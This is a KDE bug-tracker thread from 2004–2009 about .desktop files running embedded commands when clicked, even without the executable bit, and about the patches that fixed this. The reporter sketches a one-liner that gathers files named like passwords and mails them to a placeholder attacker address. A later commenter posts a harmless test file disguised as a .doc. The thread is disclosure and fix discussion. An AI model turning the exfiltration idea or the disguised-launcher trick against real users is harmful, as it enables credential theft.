Bug 73865 - .desktop files present a security risk
Summary: .desktop files present a security risk
Status: RESOLVED FIXED
Alias: None
Product: kdelibs
Classification: Unmaintained
Component: kdecore (show other bugs)
Version: unspecified
Platform: unspecified Linux
: NOR critical
Target Milestone: ---
Assignee: kdelibs bugs
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2004-01-31 05:23 UTC by Daniel Quinn
Modified: 2009-08-07 21:55 UTC (History)
7 users (show)

See Also:
Latest Commit:
Version Fixed In:
Sentry Crash Report:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Daniel Quinn 2004-01-31 05:23:19 UTC
Version:           v1.9.8 (using KDE 3.2.0 RC1, Gentoo)
Compiler:          gcc version 3.3.2 20031218 (Gentoo Linux 3.3.2-r5, propolice-3.3-7)
OS:          Linux (i686) release 2.4.24

experimenting with the possible distribution of viruses or just plain mean tricks etc, i thought i'd see how far i could get with a .desktop file.  i created a link to an application on the desktop and used "echo 'stuff' > ~/filename" as the command.  then i emailed the file to myself.

opening the file in kmail was as easy as click, save and then click the file now saved to my desktop.  granted, it's not a lethal as the "autoplay" 'feature' in outlook express, but it is worriesome that one can execute emailed code without having to manually set the +x bit.

i think it'd be better if .desktop files had to be executeable in order to run like that, otherwise, someone might put something a little meaner inside like:

"find ~ -name '*password*' -print0 | xargs -0 cat | <something to do with /usr/sbin/sendmail> evilguy@hotmail.com

i'm still a newbie at one liners, but the idea still stands.  it's not like it'd spread very well (for now) but the more people that use kde, the more of a problem this could become.
Comment 1 Chris Howells 2006-05-30 01:31:47 UTC
I think this is best assigned to KMail.
Comment 2 Rafael Leal 2009-02-18 11:39:16 UTC
There's been a lot of discussion about this in the last couple of days:
http://www.geekzone.co.nz/foobar/6229
http://lwn.net/Articles/319072/

This is a serious issue. If Freedesktop.org won't take a step, KDE should be non-compliant on this.

+x seems to be the best solution.
Comment 3 Rafael Leal 2009-02-18 11:53:24 UTC
And it should not be assigned specifically to Kmail, rather to KDE itself.
Comment 4 Allen Winter 2009-02-21 15:24:10 UTC
yes, patches are being developed against kdelibs, klauncher and krun.

so i'm reassigning to kdelibs and changing the priority to critical.
Comment 5 George Goldberg 2009-03-19 14:10:28 UTC
Changing the assignee appropriately.
Comment 6 Michael Pyne 2009-03-20 02:27:12 UTC
This is fixed in KDE 4.3, I'm queuing up patches to be backported to KDE 4.2 (although given my real job I'm not sure if I'll make it for KDE 4.2.2 as I want good review).
Comment 7 Felipe 2009-04-07 19:50:15 UTC
The file is executed even if it does not have the .desktop extension, it just need the "[Desktop Entry]". I don't know why, but I made some tests, with a odt it opened with OpenOffice (as it should). But then I tried this:

I created a file named "test.doc", with this content:
"[Desktop Entry]
Type=Application
Name=test.doc
Exec=echo "foo" > test
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png"

Then I double click the created file (worked in Dolphin and in Konqueror) and it executed the command (this file "test" was created in my home).
Comment 8 Michael Pyne 2009-05-10 02:42:21 UTC
Felipe, I know it's taken awhile for me to respond but I just tried your testcase on KDE trunk and it brought up the warning dialog instead of just executing.  What version of KDE did you test this with?
Comment 9 Felipe 2009-05-10 06:25:51 UTC
I tested it with KDE 4.2.2.
Comment 10 Michael Pyne 2009-05-10 17:30:19 UTC
The patches never got backported to KDE 4.2, due to the risk of breaking 4.2 so this is expected behavior.  And since the only reason the bug was left open was in case we decide to backport I'm going to go ahead and close it.
Comment 11 Dario Andres 2009-08-07 21:55:03 UTC
Bug 202626 is asking for some changes in the implement security methods for .desktop files.